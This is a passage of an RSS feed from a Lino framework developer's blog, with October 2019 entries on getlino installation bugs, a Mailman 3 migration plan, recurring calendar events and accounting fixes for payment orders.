&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.Ticket.site&lt;/span&gt;&lt;/code&gt;), I added a new method
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Commentable.get_comment_group()&lt;/span&gt;&lt;/code&gt;.   And
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.Ticket" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.Ticket&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; overrides this to return &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;self.site&lt;/span&gt;&lt;/code&gt;, but
the default implementation returns &lt;cite&gt;None&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;‘The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.DailyPlanner&lt;/span&gt;&lt;/code&gt; has become empty in the dashboard of
two demo databases. I guess that this is caused by Tonis’ recent work on the
calendar view.  He didn’t know that this table is also being used as a dashboard
item and via the menu.  Tonis, please have a look at this failure:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;doctest&lt;/span&gt; &lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tera&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="last-changes-for-avanti"&gt;
&lt;h2&gt;Last changes for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#last-changes-for-avanti" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Meeting with Johanna.  We scheduled next Friday as the big date for their server
move.  We also identified two more things to optimize:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Wir haben noch einen kleinen Denkfehler entdeckt : es muss nur eine
Standard-Klientenkontaktart “ÖSHZ” geben, und im Bericht muss Lino die
Funktion des Sozis drucken.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Logo im Bericht und Nummer raus aus dem Titel.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="lino-and-mailing-lists"&gt;
&lt;h2&gt;Lino and mailing lists&lt;a class="headerlink" href="#lino-and-mailing-lists" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hamza and I had a hangout where we continued to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3196"&gt;#3196&lt;/a&gt; (Find an
alternative solution for mailman and migrate to the new server)&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;We forget about Sympa because we discovered Mailman 3. MM3 has even a REST API
while &lt;a class="reference external" href="https://sympa-community.github.io/manual/customize/soap-api.html"&gt;Sympa uses SOAP&lt;/a&gt; which is
more heavy.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Luc sends a warning mail to the active mailman lists&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hamza migrates Mailman as it is from the old to the new&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Later we upgrade mm2 to mm3 and extend Lino’s list plugin to use the mm3 rest api.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;static Apache documentation sites : Configure book doctree on the new LF for nginx&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Manually re-create all websites as for the book&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1011.html</guid><pubDate>Fri, 11 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, October 8, 2019</title><link>https://luc.lino-framework.org/blog/2019/1008.html</link><description>&lt;section id="tuesday-october-8-2019"&gt;
&lt;h1&gt;Tuesday, October 8, 2019&lt;a class="headerlink" href="#tuesday-october-8-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="fixed-some-bugs-in-getlino"&gt;
&lt;h2&gt;Fixed some bugs in getlino&lt;a class="headerlink" href="#fixed-some-bugs-in-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Trying to reproduce Amber’s problem.  Her is how I started:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd ~/tmp
$ virtualenv -p python3 amber
$ . amber/bin/activate
$ getlino
getlino: command not found
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That’s correct because I did not install getlino.&lt;/p&gt;
&lt;p&gt;Note that when you uninstall getlino, the config files are not being deleted. So
in order to reproduce Amber’s problem, I remove my own config files:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo mv /etc/getlino/getlino.conf /etc/getlino/getlino.conf.old
$ mv .getlino.conf .getlino.conf.old
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that I had both config files, that’s perfectly possible if you run
&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; once as root and once not.&lt;/p&gt;
&lt;p&gt;Amber reported that he had only the system-wide
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/getlino/getlino.conf&lt;/span&gt;&lt;/code&gt;. Which means that he has been running
&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; as root.   Which indicates that he was confused by the
installation page (&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/install.html#getlino-install" title="(in getlino docs)"&gt;&lt;span&gt;Installing getlino&lt;/span&gt;&lt;/a&gt;).  He should have chosen either
“developer environment” or “contributor environment”. And then he
didn’t know that you must use &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;env&lt;/span&gt; &lt;span class="pre"&gt;PATH=$PATH&lt;/span&gt;&lt;/code&gt; when running it as root. So he
probably chose to configure a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-demo-server" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;demo server&lt;/span&gt;&lt;/a&gt; and installed getlino
system-wide.  No wonder that he stumbled into problems! I reviewed the
&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/install.html#getlino-install" title="(in getlino docs)"&gt;&lt;span&gt;Installing getlino&lt;/span&gt;&lt;/a&gt; page quite thoroughly.  Now there is some hope that
future volunteer contributors won’t get lost in the jungle again.&lt;/p&gt;
&lt;p&gt;Oh, and I saw only now that he was using getlino &lt;cite&gt;19.9.7&lt;/cite&gt;, a quite old version.
That might explain many of his problems! See &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/changes/index.html#getlino-changes" title="(in getlino docs)"&gt;&lt;span&gt;Changes in getlino&lt;/span&gt;&lt;/a&gt; for details.&lt;/p&gt;
&lt;p&gt;And when I tested the installation instructions I stumbled into the next
problems:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Running &lt;strong class="command"&gt;getlino configure&lt;/strong&gt; without &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-db-port" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--db-port&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; caused an
error &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;Invalid&lt;/span&gt; &lt;span class="pre"&gt;value&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;--db-port&amp;quot;:&lt;/span&gt; &lt;span class="pre"&gt;invalid&lt;/span&gt; &lt;span class="pre"&gt;choice:&lt;/span&gt; &lt;span class="pre"&gt;.&lt;/span&gt; &lt;span class="pre"&gt;(choose&lt;/span&gt; &lt;span class="pre"&gt;from&lt;/span&gt;
&lt;span class="pre"&gt;5432,&lt;/span&gt; &lt;span class="pre"&gt;3306,&lt;/span&gt; &lt;span class="pre"&gt;0)&lt;/span&gt;&lt;/code&gt;. The &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-db-port" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--db-port&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; option is not a choice : it is not
limited to these values.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-clone" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--clone&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; option sometimes had &lt;cite&gt;True&lt;/cite&gt; as default value.  That’s
not good, this option shouldn’t have magic behaviour.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; said &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;PermissionError:&lt;/span&gt; &lt;span class="pre"&gt;[Errno&lt;/span&gt; &lt;span class="pre"&gt;1]&lt;/span&gt; &lt;span class="pre"&gt;Operation&lt;/span&gt;
&lt;span class="pre"&gt;not&lt;/span&gt; &lt;span class="pre"&gt;permitted:&lt;/span&gt; &lt;span class="pre"&gt;'/home/luc/.cookiecutters/cookiecutter-startsite/COPYING'&lt;/span&gt;&lt;/code&gt;. But
that was just a local problem on my machine because I had been running it also
as root.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Found a bug: getlino forgot to run “pip install lino lino-xl”  when a
shared-env was being used.  That was probably the main issue for Amber.
Fixed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I am still experimenting with what cookiecutter-startsite should write
into &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; if no db-port is given.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Released &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; to PyPI because this was still an old version
(and updated &lt;a class="reference internal" href="../../changes/noi/2019.html#noi-changes-2019"&gt;&lt;span class="std std-ref"&gt;2019&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I tested the &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-developer-environment" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;developer environment&lt;/span&gt;&lt;/a&gt; manually, and it seems to work at
least for noi.  TODO: several other applications probably need a PyPI release.&lt;/p&gt;
&lt;p&gt;Actually Amber should install a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-developer-environment" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;developer environment&lt;/span&gt;&lt;/a&gt;. So I tried
that, too.  And found another bug:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cd&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="n"&gt;editable&lt;/span&gt; &lt;span class="n"&gt;requirement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;It&lt;/span&gt; &lt;span class="n"&gt;should&lt;/span&gt; &lt;span class="n"&gt;either&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;VCS&lt;/span&gt; &lt;span class="n"&gt;URL&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;beginning&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;svn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hg&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;bzr&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Fixed the bug and released 19.10.2 to fix it.&lt;/p&gt;
&lt;p&gt;Now finally the installation should work for Amber!  At least they passed my
manual tests.&lt;/p&gt;
&lt;p&gt;All this is great and fun, but why did &lt;em&gt;I&lt;/em&gt; have to do it?  Why didn’t Hamza have
these ideas? OMG there is some much more to do! Actually we should now extend
the getlino test suites.  Actually we should review the Developer and the
Contributor Guides!  Should I ask Amber to stop trying because we simply lack
manpower?!&lt;/p&gt;
&lt;p&gt;PS: I know that Hamza is a skilled guy and I don’t doubt his competence.  My
explanation why he didn’t have these ideas is that he is somebody who rather
finds &lt;em&gt;solutions, not problems&lt;/em&gt;. He was focused on helping Amber to formulate
his problem more precisely so that we can reproduce it. He just didn’t realize
that Amber’s problem was actually already reproducible. And of course we lack
manpower, but that’s not a reason to worry because Amber knows that and is big
enough to live with it. The last paragraph was also an example of the fears and
worries I have when I realize how difficult it is to become useless! (Did you
know that becoming useless before you die is the most important task of your
life? ;-)&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recurring-event-every-3rd-wednesday-or-every-last-friday-of-month"&gt;
&lt;h2&gt;Recurring event every 3rd Wednesday or every last Friday of month&lt;a class="headerlink" href="#recurring-event-every-3rd-wednesday-or-every-last-friday-of-month" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3255"&gt;#3255&lt;/a&gt;.  No customer has asked this so far but I have the
feeling that this is a missing feature in our calendar plugin.&lt;/p&gt;
&lt;p&gt;Inspired by &lt;a class="reference external" href="https://dateutil.readthedocs.io/en/stable/rrule.html"&gt;dateutil&lt;/a&gt;
we should add a field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.RecurrenceSet.bysetpos&lt;/span&gt;&lt;/code&gt; : “If
given, it must be either an integer, or a sequence of integers, positive or
negative. Each given integer will specify an occurrence number, corresponding to
the nth occurrence of the rule inside the frequency period. For example, a
bysetpos of -1 if combined with a MONTHLY frequency, and a byweekday of (MO, TU,
WE, TH, FR), will result in the last work day of every month.” It should be a
CharField and the integers would be stored as space-separated strings. Our
standup meetings would have bysetpos = “1 3 5” and every_unit=weekly (and
every=1 because they are every week, not e.g. every second week).&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;dateutil.rrule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;rrule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MONTHLY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rrule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;freq&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MONTHLY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dtstart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bysetpos&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;byweekday&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;FR&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="gp"&gt;...&lt;/span&gt;
&lt;span class="go"&gt;[datetime.datetime(2019, 10, 25, 0, 0),&lt;/span&gt;
&lt;span class="go"&gt;datetime.datetime(2019, 11, 29, 0, 0),&lt;/span&gt;
&lt;span class="go"&gt;datetime.datetime(2019, 12, 27, 0, 0),&lt;/span&gt;
&lt;span class="go"&gt;datetime.datetime(2020, 1, 31, 0, 0),&lt;/span&gt;
&lt;span class="go"&gt;datetime.datetime(2020, 2, 28, 0, 0)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1008.html</guid><pubDate>Tue, 08 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, October 3, 2019</title><link>https://luc.lino-framework.org/blog/2019/1003.html</link><description>&lt;section id="thursday-october-3-2019"&gt;
&lt;h1&gt;Thursday, October 3, 2019&lt;a class="headerlink" href="#thursday-october-3-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;PyPI release for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; and upgraded their &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-preview-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;preview site&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="paymentorder-object-has-no-attribute-your-ref"&gt;
&lt;h2&gt;‘PaymentOrder’ object has no attribute ‘your_ref’&lt;a class="headerlink" href="#paymentorder-object-has-no-attribute-your-ref" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3236"&gt;#3236&lt;/a&gt; (‘PaymentOrder’ object has no attribute ‘your_ref’)&lt;/p&gt;
&lt;p&gt;Reproducible in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cosi3&lt;/span&gt;&lt;/code&gt;. Select organization “Garage
Mergelsberg”, go to the Accounting tab and click on “19 open movements (758.68 €)”.&lt;/p&gt;
&lt;p&gt;I added a method &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Voucher.get_movement_description" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Voucher.get_movement_description()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which
is extended by &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sepa.Payable&lt;/span&gt;&lt;/code&gt; to also show the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sepa.Payable.your_ref&lt;/span&gt;&lt;/code&gt; field (unless it is empty).&lt;/p&gt;
&lt;p&gt;I saw a problem in the demo data which led to the discovery of a bug:&lt;/p&gt;
&lt;p&gt;Payment orders were also suggesting negative payments (e.g. open sales
invoices). The filter condition was not enough.  I added a new filter parameter
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.ExpectedMovements.same_dc" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ExpectedMovements.same_dc&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and have it used by
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/finan.html#lino_xl.lib.finan.SuggestionsByPaymentOrder" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.finan.SuggestionsByPaymentOrder&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I had to change the
signature of the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.get_due_movements" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_due_movements()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function because the new condition
caused a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;TypeError:&lt;/span&gt; &lt;span class="pre"&gt;get_due_movements()&lt;/span&gt; &lt;span class="pre"&gt;got&lt;/span&gt; &lt;span class="pre"&gt;multiple&lt;/span&gt; &lt;span class="pre"&gt;values&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt;
&lt;span class="pre"&gt;argument&lt;/span&gt; &lt;span class="pre"&gt;'dc'&lt;/span&gt;&lt;/code&gt;. I opened a ticket for this: &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3251"&gt;#3251&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also at least one more thing to show in a demo: the quick search field in
booking suggestions (e.g. &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/finan.html#lino_xl.lib.finan.SuggestionsByPaymentOrder" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;SuggestionsByPaymentOrder&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) now works. This was
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3215"&gt;#3215&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Payment orders weren’t cleared by bank statement in the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo_bookings" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo_bookings&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
fixture. Code change: Whether a payment order generates individual counter
entries (one per partner) no longer depends on  &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Account.needs_partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Account.needs_partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
but on whether the journal has a partner or not (whether &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Journal.partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Journal.partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
is empty or not).&lt;/p&gt;
&lt;p&gt;TODO: remove Account.needs_partner and replace all usages to use
Account.clearable instead. The two fields are now synonyms. Their difference has
indeed always been mysterious…&lt;/p&gt;
&lt;p&gt;More issues and observations to meditate:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Consider a creditor for which a payment order has been registered, but that
payment order is still pending (not yet cleared by a bank statement).
Lino currently shows these creditors as debtors.
Lino should know that being negative in certain accounts shouldn’t count for
the Debtors and Creditors report.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Some organizations are strictly speaking “creditors”, but we are not used to
show them in the list of creditors: e.g. banks and tax offices.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3236"&gt;#3236&lt;/a&gt; is fixed, but the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Movements.description&lt;/span&gt;&lt;/code&gt; field and
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Voucher.get_movement_description" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Voucher.get_movement_description()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is probably not finished, maybe they
don’t always show enough information, or too much.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PS: I committed above changes only the next day because the test suites required
revision.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1003.html</guid><pubDate>Thu, 03 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, October 2, 2019</title><link>https://luc.lino-framework.org/blog/2019/1002.html</link><description>&lt;section id="wednesday-october-2-2019"&gt;
&lt;h1&gt;Wednesday, October 2, 2019&lt;a class="headerlink" href="#wednesday-october-2-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="move-callbacks-out-of-the-kernel"&gt;
&lt;h2&gt;Move callbacks out of the kernel&lt;a class="headerlink" href="#move-callbacks-out-of-the-kernel" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
